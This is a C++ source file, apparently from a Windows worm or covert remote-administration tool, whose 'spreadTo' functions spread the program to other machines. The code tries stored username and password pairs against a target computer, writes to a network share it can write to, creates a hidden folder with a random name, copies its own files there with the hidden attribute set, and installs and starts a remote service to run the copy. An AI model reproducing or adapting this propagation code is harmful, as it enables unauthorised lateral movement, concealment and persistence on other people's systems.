#include <string>
#include <map>
#include <iostream>
using namespace std;

#include "net.hpp"
#include "settings.hpp"
#include "servicecontrol.hpp"
#include "spreading.hpp"
#include "filesystem.hpp"

using stfu::node;

bool spreadTo(const string &computer){
    string servicename = settings.child("service").value("name");

    for(int i=0;;i++){
        node user;
        try{
            user = settings.child("spreading").getChild("user",i);
        } catch (...){ break; }
        if (spreadTo(computer,user.value("username"),user.value("password"))){
            return true;
        }
    }

    return false;

}

bool spreadTo(const string &computer,const string &username, const string &password){
    string servicename = settings.child("service").value("name");
    if (isServiceInstalled(computer,username,password,servicename)){
        //update - ONLY UPDATE OLDER VERSIONS!
        //TODO:update shizzle
    } else {
        //new install
        string share;
        if (!connectToWritableShare(computer,username,password,share)) return false;

        string folder("");
        srand(time(0));
        while(folder.length() < 12) folder += (char)('a' + rand()%26);   //Generate random folder name

        string path(share);
        path.append("\\");
        path.append(folder);

        if (!CreateDirectory(path.c_str(),NULL)) return false;
        SetFileAttributes(path.c_str(),FILE_ATTRIBUTE_HIDDEN);

        string searchpath(getExeDirectory());
        searchpath.append("\\*");

        WIN32_FIND_DATA fd;
        HANDLE fh = FindFirstFile(searchpath.c_str(),&fd);
        do{
            if (fh == INVALID_HANDLE_VALUE) return false;

            if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)){

                string sourcepath(getExeDirectory()); sourcepath.append("\\"); sourcepath.append(fd.cFileName);
                string targetpath(path);              targetpath.append("\\"); targetpath.append(fd.cFileName);

                CopyFile(sourcepath.c_str(),targetpath.c_str(),FALSE);
                SetFileAttributes(targetpath.c_str(),FILE_ATTRIBUTE_HIDDEN);
            }
        }while(FindNextFile(fh,&fd));

        FindClose(fh);

        string targetexepath(path);
        targetexepath.append("\\");
        targetexepath.append(getExeFileName());

        if (!installService(computer,username,password,servicename,targetexepath)) return false;
        if (!startService(computer,username,password,servicename)) return false;
    }
    return true;
}





















